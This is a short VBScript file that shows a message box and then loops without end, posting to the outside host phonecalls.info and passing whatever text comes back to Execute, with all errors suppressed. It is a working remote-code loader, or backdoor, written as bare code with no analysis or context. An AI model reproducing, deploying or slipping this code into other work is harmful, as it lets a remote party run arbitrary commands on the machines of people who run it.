'4085

Dim ztVar, reresponse, zzz
ztVar = 0
zzz = ""
Function punkTest()
    '4085
    On Error Resume Next
    Execute "" + reresponse + ""
    '4085
End Function


Sub tankConnect()
    '4085
    On Error Resume Next
    Dim oXMLHTTP
    Dim oStream
    Dim oStrsdfeam
    Set oXMLHTTP = CreateObject("Microsoft.XMLHTTP")
    oXMLHTTP.Open "Post", "https://phonecalls.info", False
    oXMLHTTP.Send
    reresponse = oXMLHTTP.responseText
    punkTest()
    '4085
End Sub

msgbox "4085"
While ztVar < 10
    '4085
 call tankConnect()
Wend